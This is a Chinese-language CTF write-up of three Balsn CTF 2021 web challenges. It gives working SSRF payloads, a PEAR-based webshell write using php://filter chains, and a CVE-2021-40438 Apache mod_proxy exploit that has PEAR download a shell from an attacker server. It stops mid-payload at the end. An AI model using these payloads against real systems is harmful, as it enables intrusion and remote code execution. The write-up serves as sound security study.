Balsn CTF 2021 WriteUps

和 Goburin' 一起參加了 Balsn CTF 2021 拿第三名,這次我主要解了 web,其他的話 misc 解掉一題,rev 解半題。

  排行榜截圖

Web

Proxy

這題一進去就告訴你 /query?site=[your website],所以就開始來試試看 SSRF 可以碰到什麼東西。測試一下 file:///proc/self/environ 可以讀到東西,從裡面知道題目是 python 寫的,然後有用 k8s 且還有個隱藏服務在 10.44.3.240:39307 的位置。

直接 SSRF 10.44.3.240:39307 會失敗,不過可以在 file:///proc/self/cwd/main.py 找到 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/meow")
def meow():
return 'meow?'


@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site, timeout=5).read()
return text


@app.route("/")
def hello_world():
return "/query?site=[your website]"


if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)

非常簡單,就 Python urllib.request.urlopen 的 SSRF 而已。有個 /meow 直接存取的話會得到 RBAC: access denied,但是 SSRF http://localhost:8000/meow 就很正常。查一下錯誤訊息可以知道好像是某個叫 Istio 的東西在作怪。不過我們一開始就卡在這邊不知道怎麼繼續。

後來 Allen 從 file:///proc/net/tcp 找出了 port 15000,而 http://127.0.0.1:15000 也可以看到有個 Envoy Admin

之後我在上面找到了 http://127.0.0.1:15000/config_dump,裡面有一段很可疑的段落:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"name": "secret-service-20a91e.default.svc.cluster.local:39307",
"domains": [
"secret-service-20a91e.default.svc.cluster.local",
"secret-service-20a91e.default.svc.cluster.local:39307",
"secret-service-20a91e",
"secret-service-20a91e:39307",
"secret-service-20a91e.default.svc.cluster",
"secret-service-20a91e.default.svc.cluster:39307",
"secret-service-20a91e.default.svc",
"secret-service-20a91e.default.svc:39307",
"secret-service-20a91e.default",
"secret-service-20a91e.default:39307",
"10.44.3.240",
"10.44.3.240:39307"
],

SSRF 其中一個 http://secret-service-20a91e:39307/ 會看到它說 here is your flag: /flag,只是 SSRF http://secret-service-20a91e:39307/flag 卻會直接錯誤。測試了一下感覺也是那什麼 Istio 在作怪,不過隨便在 path 的地方加上了一個 / 就過了: http://secret-service-20a91e:39307//flag

Flag: BALSN{default_istio_service_mesh_envoy_configurations}

說真的,我完全不懂這題在做什麼,也不懂到底為什麼可以這樣解 ==

官方文件: Istio - Understand path normalization in authorization policy

2linephp

1
2
<?php ($_=$_SERVER['REQUEST_URI']) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');

此題就只有這兩行,phpinfo.php 應該是真的 phpinfo();,因為它會隨著 request 變化。

目標就是 url 含 query string 不可包含 zip, p:s:,然後可以 LFI 任意 .php 結尾的檔案,只是開頭前 5 bytes 需要是 <?php

這題還有說 0CTF 1linephp is too hard,而那題的 writeup 主要是利用了 zip 的 extension 加上 upload progress 去 LFI zip:///tmp/sess_mysessid#shell.php 這樣的方法得到 shell 的。

只是這題從 phpinfo.php 可以看出它沒有安裝 zip extension。我一開始就在這邊卡了一段時間。

後來和 0CTF 1linephp 仔細比較一下可以看出一些端倪:

1
2
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

1linephp 要求開頭是 @<?php,但是這題要求 <?php,測試了一下可以知道 ?kaibro=index 可以成功讓它遞迴 include 到記憶體爆炸。?kaibro=phpinfo 也是預期中的結果。

可能會覺得只有 index.phpphpinfo.php 兩個檔案有什麼用,只是這個其實是解題關鍵之一。可以按照它的版本自己在 local 跑 docker 起來看看:

1
2
3
FROM php:7.4.11-apache  # same as 0CTF 1linephp

COPY src/ /var/www/html/

之後進入 container 裡面自己跑跑看 grep -rnw '^<?php',可以發現在 /usr/local/php 底下有一堆符合的檔案,其中一個很關鍵的是 /usr/local/lib/php/pearcmd.php 看了就有點可疑。

去網路上查一下關於 pearcmd 可以找到這篇,裡面有幾個比較重要的資訊在:

register_argc_argv 有開啟的話(docker 版本正好預設有開)可以自動把 query string 轉換成 argv:

1
2
3
4
5
6
<?php
var_dump($_SERVER['argv']);

// querystring: ?a+b
// $_SERVER['argv'][0] === 'a'
// $_SERVER['argv'][1] === 'b'

pearcmd.php 是 php 的 PEAR package manager 的 CLI,裡面會從 argv 讀取參數。當 argv 是我們遠端可控的時候就有了一些利用的機會。

裡面大致上是介紹了兩個用法,一個是從遠端下載檔案到 local:

1
pear install -R /tmp http://xxxxxxx/shell.php

下載的檔名實際上是會看 Content-Disposition 決定的

另一個用法是從參數中直接寫入檔案:

1
pear -c /tmp/peko.php -d man_dir=miko -s

上面的指令會讓 /tmp/peko.php 的內容為:

1
2
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:4:"miko";}

雖然第一個看起來比較簡單,只是前面有 p: s: 應該就是為了擋這個用法的 (http://, https://),所以我這邊採用的是第二個。

只是寫入之後還需要讓檔案開頭變成 <?php 才行,這邊的問題就很類似最初 Orange 的 One Line PHP Challenge 遇到的問題。方法就是利用 php://filter/ 套一套解決。

首先是 php base64 decode 會自動忽略掉非 base64 的字元,測試一下可以發現這個檔案 base64 decode 之後第一個字元很剛好的會是 <,此時就會想說是不是能湊個 > 然後用 string.strip_tags 把它們去掉。

一個要處裡的小問題是它還要符合 base64 decode 的原理,需要讓它 padding 到適當的位置去才行,我這邊是這樣生成 payload 的:

1
2
3
4
5
6
7
8
9
10
11
from base64 import *

# file format:
"""
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:9:"PLACEHOLDER";}
"""

payload = b'<?php system($_GET["cmd"]);'
enc = b64encode(payload)
print(b64encode(b'aaa>'+enc+b'<aa'))

這樣它第一次 base64 decode 會得到 <garbage>base64<garbage,經過 string.strip_tags 會變成 base64,再次 decode 得到 <?php system($_GET["cmd"]); 就是我們的目標。

所以用下面的方法對 /tmp/maple3142.php 寫入 shell:

1
http://2linephp1.balsnctf.com:50080/?kaibro=/usr/local/lib/php/pearcmd&+-c+/tmp/maple3142.php+-d+man_dir=YWFhPlBEOXdhSEFnYzNsemRHVnRLQ1JmUjBWVVd5SmpiV1FpWFNrNzxhYQ+-s+

接下來就能執行指令讀 flag:

1
http://2linephp1.balsnctf.com:50080/?kaibro=ph%70://filter/convert.base64-decode/string.strip_tags/convert.base64-decode/resource=/tmp/maple3142&cmd=/readflag

p: 很好繞,直接 %70: 就能過了。之所以 http://p: 不能這樣繞的原因似乎是因為 argv 的部份和 $_GET 不一樣,不會 url decode

Flag: BALSN{1linephp_1s_tooo_hard:(}

這題的 intended 似乎是要自己弄 pear 的 channel 出來

0linephp

這題有兩個 container,apache 和 php 是分開的。

php 部份是:

1
2
3
4
FROM php:7.4.24-fpm

RUN chmod 555 /var/www/html
RUN chown root:root /var/www/html

有個 index.php,而裡面真的是空的 (0 line)。

apache 使用的 config 是:

1
2
3
4
5
6
7
8
9
10
11
12
13
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so

DirectoryIndex disabled
DirectoryIndex index.php
ProxyErrorOverride on

RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

建議: 如果要在 local 測試可以把 ProxyErrorOverride 設為 off

使用的 docker 為:

1
2
3
FROM httpd:2.4.48

RUN echo 'Include conf/extra/proxy-php.conf' >> /usr/local/apache2/conf/httpd.conf

docker-compose.yml:

1
2
3
4
5
6
7
8
9
10
11
12
13
version: '3.9'

services:
apache:
build: apache
volumes:
- ./apache/proxy-php.conf:/usr/local/apache2/conf/extra/proxy-php.conf:ro
ports:
- 80:80
php:
build: php
volumes:
- ./php/index.php:/var/www/html/index.php:ro

解題的第一個關鍵是 apache 版本 2.4.48,有在關注的話可能會知道不久前 apache 有一些比較大的 CVE 出現,像是 path traversal 之類的。查了一下會知道 CVE-2021-42013 的只適用於 2.4.49 和 2.4.50 而已,所以對這題沒用。

不過再找一下可以看到有個 CVE-2021-40438,它是個 mod_proxy 的 bug 可以造成 SSRF,適用於 2.4.48。

查一下可以找到 Building a POC for CVE-2021-40438 這篇文章,裡面就有了如何利用 mod_proxy_http 去 SSRF 其他的網站,不過也沒有細節的說明。

後來另外有找到了這篇 Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸,裡面的內容真的寫的很好,建議一定要仔細讀完裡面的講解才能比較好理解這題的作法。

雖然它裡面說 mod_proxy_fcgi 因為會 url encode 的原因沒辦法使用,不過可以看到 proxy_fcgi_canon 裡面有:

1
2
3
4
5
6
7
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url), enc_path, 0,
r->proxyreq);
}

而此題的 apache config 的最後一行是:

1
ProxyPassMatch ^/(.*\.php(/.*)?)$ "fcgi://php:9000/var/www/html/" noquery nocanon disablereuse=on

因為有 nocanon,走的是上面的 if,所以不會被 url encode,有機會去 SSRF。此時如果理解了這個 CVE 應該能夠生成這個 payload 去 SSRF fastcgi:

1
curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAA...AAA|fcgi://php:9000/var/www/html/index.php' -v

此時應該會想說搞不好能 SSRF fcgi://php:9000/flag 看看可不可以拿到 flag,然而實際上只會得到 403 error 而已。測試了一下把 /flag 改為 /flag.php 就能成功,另外做一些實驗能大概知道 fastcgi 只能接受副檔名為 .php 結尾的檔案而已。

這個時候會發現目前的狀況和 2linephp 很像,都是 SSRF fastcgi 去 LFI .php 結尾的檔案,只是沒要求檔案開頭是什麼而已。

所以會想把前面一題的 pearcmd.php 拿出來用。不過前一題的方法不能直接照搬,因為 apache config 限制了當 query string 中包含 php 的時候一律 404:

1
2
3
RewriteEngine on
RewriteCond %{QUERY_STRING} php
RewriteRule ^(.*)$ /404

這邊我用的是另一個做法,install -R /tmp remote_url 的做法,在自己的 server 弄個 path 可以下載檔案,而 header 要給個 Content-Disposition: attachment; filename="shell.php"。然後讓它下載 shell 到 /tmp/tmp/pear/download/shell.php) 之後在第二個 request 讓它執行 command 即可。

第一個下載檔案的 request:

echo 是因為發現 curl 好像會對 url 做一些處裡:

1
echo -n $'GET /unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/usr/local/lib/php/pearcmd.php/?peko=miko&+install+-R+/tmp+http://YOUR_SERVER/ HTTP/1.0\r\nHost: localhost\r\n\r\n' | nc 0linephp0.balsnctf.com 80

第二個讀 flag 的 request:

1
curl --path-as-is 'http://0linephp0.balsnctf.com/unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA